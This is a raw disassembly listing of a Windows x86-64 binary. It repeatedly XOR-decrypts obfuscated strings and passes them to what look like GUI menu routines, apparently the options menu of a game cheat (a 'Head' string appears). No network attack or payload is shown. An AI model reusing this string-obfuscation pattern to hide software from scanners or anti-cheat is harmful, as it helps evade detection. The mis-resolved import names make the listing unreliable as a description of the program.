lea r8d, [rdx + 0x2b]
mov rcx, r10
call fcn.1400265a0
call fcn.14001f460
mov r14, rax
call fcn.14002a440
mov r15, rax
lea rcx, [rbp + 0x588]
call fcn.14002a0a0
lea rcx, [rbp + 0x590]
call fcn.14002a250
call fcn.14001f460
mov rsi, rax
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x598]
call fcn.140018e80
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x43
lea r9d, [rdx + 0x1f]
mov r8d, 0xfc
lea rcx, [rbp + 0xde0]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x594]
addss xmm2, dword [rbp + 0x58c]
movss xmm1, dword [rbp + 0x590]
addss xmm1, dword [rbp + 0x588]
lea rcx, [rbp + 0x5a0]
call fcn.140018e80
movss dword [rsp + 0x38], xmm10
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rdi
movss xmm0, dword [0x14016be0c]
movss dword [rsp + 0x20], xmm0
mov r9d, ebx
mov r8, rax
lea rdx, [rbp + 0x588]
mov rcx, rsi
call fcn.140045920
mov dword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_50
mov edx, reloc.WS2_32.dll_recvfrom
mov r9d, reloc.WS2_32.dll_send
mov r8d, r9d
lea rcx, [rbp + 0xdf0]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x58c]
addss xmm2, xmm7
movss xmm1, dword [rbp + 0x588]
addss xmm1, xmm8
lea rcx, [rbp + 0x5a8]
call fcn.140018e80
mov dword [rsp + 0x28], 0xf0
movss xmm6, dword [0x14016bd14]
movss dword [rsp + 0x20], xmm6
mov r9d, ebx
mov r8, rax
lea rdx, [rbp + 0x588]
mov rcx, r14
call fcn.140043d30
mov dword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_50
mov edx, ntohl
lea r9d, [rdx + 2]
lea r8d, [rdx + 3]
lea rcx, [rbp + 0xe00]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x58c]
addss xmm2, xmm7
movss xmm1, dword [rbp + 0x588]
movss xmm7, dword [0x14016be98]
addss xmm1, xmm7
lea rcx, [rbp + 0x5b0]
call fcn.140018e80
mov dword [rsp + 0x28], 0x50
movss dword [rsp + 0x20], xmm6
mov r9d, ebx
mov r8, rax
lea rdx, [rbp + 0x588]
mov rcx, r15
call fcn.140043d30
mov dword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_50
mov edx, reloc.WLDAP32.dll_Ordinal_26
lea r9d, [rdx + 2]
lea r8d, [rdx + 3]
lea rcx, [rbp + 0xe10]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov edi, eax
movss xmm2, dword [rbp + 0x58c]
addss xmm2, dword [0x14016bf9c]
movss xmm1, dword [rbp + 0x588]
addss xmm1, xmm7
lea rcx, [rbp + 0x5b8]
call fcn.140018e80
mov rbx, rax
movss xmm1, dword [rbp + 0x588]
addss xmm1, xmm7
movss xmm2, dword [rbp + 0x58c]
lea rcx, [rbp + 0x5c0]
call fcn.140018e80
movss xmm6, dword [0x14016bcc8]
movss dword [rsp + 0x20], xmm6
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.140043b70
mov dword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_50
mov edx, reloc.WLDAP32.dll_Ordinal_26
lea r9d, [rdx + 2]
lea r8d, [rdx + 3]
lea rcx, [rbp + 0xe20]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov edi, eax
movss xmm2, dword [rbp + 0x58c]
addss xmm2, dword [0x14016bd78]
movss xmm1, dword [rbp + 0x588]
addss xmm1, xmm8
lea rcx, [rbp + 0x5c8]
call fcn.140018e80
mov rbx, rax
movss xmm2, dword [rbp + 0x58c]
addss xmm2, dword [0x14016bd78]
movss xmm1, dword [rbp + 0x588]
addss xmm1, xmm7
lea rcx, [rbp + 0x5d0]
call fcn.140018e80
movss dword [rsp + 0x20], xmm6
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.140043b70
call fcn.1400bd090
lea rdx, [rbp + 0xd9]
lea rcx, [rsp + 0x77]
call fcn.1400cde50
mov rdi, rax
movzx eax, byte [rax + 4]
test al, al
je 0x1400c3f6b
xor byte [rdi], 0x34
xor byte [rdi + 1], 0x35
xor byte [rdi + 2], 0x36
xor byte [rdi + 3], 0x37
xor al, 0x38
mov byte [rdi + 4], al
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xe30]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x58c]
addss xmm2, dword [0x14016bd38]
movss xmm1, dword [rbp + 0x588]
addss xmm1, dword [0x14016beb0]
lea rcx, [rbp + 0x5d8]
call fcn.140018e80
xor esi, esi
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14016bd50]
mov rdx, qword [0x140197018]
mov rcx, r15
call fcn.1400442e0
lea rdx, [rbp + 0xde]
lea rcx, [rsp + 0x78]
call fcn.1400cde70
mov rdi, rax
movzx eax, byte [rax + 4]
test al, al
je 0x1400c4026
xor byte [rdi], 0x34
xor byte [rdi + 1], 0x35
xor byte [rdi + 2], 0x36
xor byte [rdi + 3], 0x37
xor al, 0x38
mov byte [rdi + 4], al
mov dword [rsp + 0x20], 0xff
mov edx, 0x43
lea r9d, [rdx + 0x1f]
mov r8d, 0xfc
lea rcx, [rbp + 0xe40]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x58c]
addss xmm2, xmm14
movss xmm1, dword [rbp + 0x588]
addss xmm1, dword [0x14016bee4]
lea rcx, [rbp + 0x5e0]
call fcn.140018e80
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14016bd54]
mov rdx, qword [0x140197020]
mov rcx, r15
call fcn.1400442e0
movss xmm2, dword [0x14016bd8c]
movss xmm1, dword [0x14016bea0]
lea rcx, [rbp + 0x5e8]
call fcn.140018e80
mov rcx, rax
call fcn.14002ea70
mov ebx, 8
cmp dword [reloc.WS2_32.dll_accept], 7
mov r15, rsi
cmove ebx, esi
mov eax, 0xe5
mov ecx, 0x1de
cmove eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm2, dword [0x14016bf70]
lea rcx, [rbp + 0x5f0]
call fcn.140018e80
mov rdi, rax
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x79]
call fcn.1400cde90
movzx ecx, byte [rax + 1]
test cl, cl
je 0x1400c4130
xor byte [rax], 0x34
xor cl, 0x35
mov byte [rax + 1], cl
mov r9d, ebx
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call fcn.140022a10
mov rcx, qword [0x140197030]
call fcn.140029cc0
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 1
jne 0x1400c4a77
lea rdx, [rbp + 0x16d]
lea rcx, [rsp + 0x7a]
call fcn.1400cdea0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400c4192
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
lea rdx, [0x140196fb2]
mov rcx, rax
call fcn.140051f50
movzx eax, byte [0x140196fad]
cmp byte [0x140196fb2], sil
cmovne eax, r15d
mov byte [0x140196fad], al
mov r8d, dword [0x140196f74]
lea rdx, [0x14007d500]
mov ecx, dword [reloc.WS2_32.dll_getsockname]
call fcn.14007d5c0
movss xmm1, dword [0x14016c02c]
movaps xmm0, xmm10
call fcn.14002e9c0
lea rdx, [rbp + 0x174]
lea rcx, [rsp + 0x7b]
call fcn.1400cded0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400c4219
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov rcx, rax
call fcn.14004ff70
lea rdx, [rbp + 0x17b]
lea rcx, [rsp + 0x7c]
call fcn.1400cdf00
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400c4257
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
lea rdx, [0x140196fad]
mov rcx, rax
call fcn.140051f50
movzx eax, byte [0x140196fb2]
cmp byte [0x140196fad], sil
cmovne eax, r15d
mov byte [0x140196fb2], al
lea rdx, [rbp + 0x7e8]
lea rcx, [rsp + 0x7d]
call fcn.1400cdf30
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400c42c4
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
lea rdx, [0x140196faf]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x5f8]
lea rcx, [rsp + 0x7e]
call fcn.1400cdf60
mov r10, rax
cmp byte [rax + 7], sil
je 0x1400c4442
mov r8d, r15d
cmp r12d, 2
jl 0x1400c440a
movdqa xmm4, xmmword [0x14016c610]
mov esi, 4
movd xmm5, esi
mov ebx, Ordinal_35
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1400c444a
mov r9, r10
nop dword [rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400c4410
mov ebx, Ordinal_35
lea esi, [rbx - 0x1b]
lea rdx, [0x140196fdc]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x91c]
lea rcx, [rsp + 0x7f]
call fcn.1400cdf70
mov r10, rax
cmp byte [rax + 0xb], r15b
je 0x1400c45c0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c458a
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c4590
mov dword [rsp + 0x20], 0xffffffff
mov r9d, esi
lea r8, str.Head
lea rdx, [0x140197588]
mov rcx, r10
call fcn.140054870
lea rdx, [rbp + 0xb2f]
lea rcx, [rbp - 0x80]
call fcn.1400cdf90
mov r10, rax
cmp byte [rax + 0xe], r15b
je 0x1400c4750
mov r8d, r15d
cmp r12d, 2
jl 0x1400c4711
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400c4720
lea rdx, [0x140196fbe]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0xae6]
lea rcx, [rbp - 0x7f]
call fcn.1400cdfc0
mov r10, rax
cmp byte [rax + 0xd], r15b
je 0x1400c48d0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c488f
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c48a0
mov dword [rsp + 0x28], r15d
lea r14, [0x1401556e4]
mov qword [rsp + 0x20], r14
mov r9d, 0x168
xor r8d, r8d
lea rdx, [0x140195750]
mov rcx, r10
call fcn.140056e10
lea rdx, [rbp + 0x928]
lea rcx, [rbp - 0x7e]
call fcn.1400cdff0
mov r10, rax
cmp byte [rax + 0xb], r15b
je 0x1400c4a60
mov r8d, r15d
cmp r12d, 2
jl 0x1400c4a29
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c4a30
lea rdx, [0x140196fce]
mov rcx, r10
call fcn.140051f50
mov eax, dword [reloc.WS2_32.dll_accept]
jmp 0x1400c4a83
mov esi, 4
lea r14, [0x1401556e4]
cmp eax, 2
jne 0x1400c52ba
lea rdx, [rbp + 0xa68]
lea rcx, [rbp - 0x7d]
call fcn.1400ce010
mov r10, rax
cmp byte [rax + 0xd], r15b
je 0x1400c4c00
mov r8d, r15d
cmp r12d, 2
jl 0x1400c4bc1
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c4bd0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196ef8]
mov rcx, r10
call fcn.140056e10
lea rdx, [rbp + 0x12c]
lea rcx, [rbp - 0x7c]
call fcn.1400ce040
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400c4c53
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196ef0]
mov rcx, rax
call fcn.140056e10
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x7b]
call fcn.1400ce060
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1400c4ca2
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196fa8]
mov rcx, rax
call fcn.140056e10
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x7a]
call fcn.1400ce080
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400c4cf5
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196e8c]
mov rcx, rax
call fcn.140056e10
lea rdx, [rbp + 0x6f1]
lea rcx, [rbp - 0x79]
call fcn.1400ce0a0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400c4d58
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196edc]
mov rcx, rax
call fcn.140056e10
lea rdx, [rbp + 0xa0d]
lea rcx, [rbp - 0x78]
call fcn.1400ce0c0
mov r10, rax
cmp byte [rax + 0xc], r15b
je 0x1400c4ef0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c4eaf
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c4ec0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196f44]
mov rcx, r10
call fcn.140056e10
lea rdx, [rbp + 0x6b8]
lea rcx, [rbp - 0x77]
call fcn.1400ce0f0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400c4f4f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196e88]
mov rcx, rax
call fcn.140056e10
